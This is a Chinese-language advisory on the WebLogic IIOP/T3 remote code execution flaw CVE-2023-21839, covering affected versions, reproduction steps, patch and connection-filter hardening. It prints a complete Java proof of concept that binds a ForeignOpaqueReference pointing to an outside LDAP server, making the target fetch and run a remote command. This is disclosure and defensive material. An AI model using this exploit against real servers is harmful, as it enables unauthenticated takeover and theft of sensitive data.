漏洞简述
WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。WebLogic Server是一个基于JAVAEE架构的中间件,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响范围
WebLogic_Server = 12.2.1.3.0
WebLogic_Server = 12.2.1.4.0
WebLogic_Server = 14.1.1.0.0
危害级别:高
CNVD-2023-04389
CVE-2023-21839
漏洞复现
01
环境
WebLogic_Server = 12.2.1.3.0
(https://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_Disk1_1of1.zip)
02
安装参考
https://blog.csdn.net/qq_41979593/article/details/123780213
由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
03
复现步骤
1.新建java项目,并写入poc文件
2.从文件-项目结构-模块-依赖处引入wlfullclient.jar模块(windows安装路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib)
3.远程启用JNDI服务,运行poc文件
4.漏洞复现成功
04
POC如下
使用main方法创建了一个getInitialContext方法并使用getInitialContext方法,创建初始上下文并使用T3协议与WebLogic服务器连接,然后创建了一个weblogic.deployment.jms.ForeignOpaqueReference类的实例并通过反射机制访问私有字段以设置远程JNDI名称,并将其绑定到WebLogic服务器上的"bind"命名对象,导致命令执行漏洞。
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class BindRce {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtableenv = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
//iiop
public static void main(String args[]) throws Exception {
InitialContext c=getInitialContext("t3://xx.xx.xx.xx:7001");
Hashtableenv = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xx.xx.xx.xx /basic/Command/calc");
c.bind("XXX121",f);
c.lookup("XXX121");}
}
漏洞修复
01
厂商已发布了漏洞修复补丁
下载链接:
https://support.oracle.com/rs?type=doc&id=2917213.2
02
临时加固建议
针对T3协议使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:连接筛选器:weblogic.security.net.ConnectionFilterImpl
03
规则示例
0.0.0.0/0 * 7001 deny t3 t3s #拒绝所有访问
允许和拒绝指定IP规则示例:
192.168.1.0/24 * 7001 allow t3 t3s #允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s #拒绝指定IP段访问
连接筛选器说明参考(英文):
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377
04
禁用IIOP协议
在Weblogic控制台中,选择“base_domain”->“监视”进入“AdminServer”-> “协议”->“IIOP”中,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。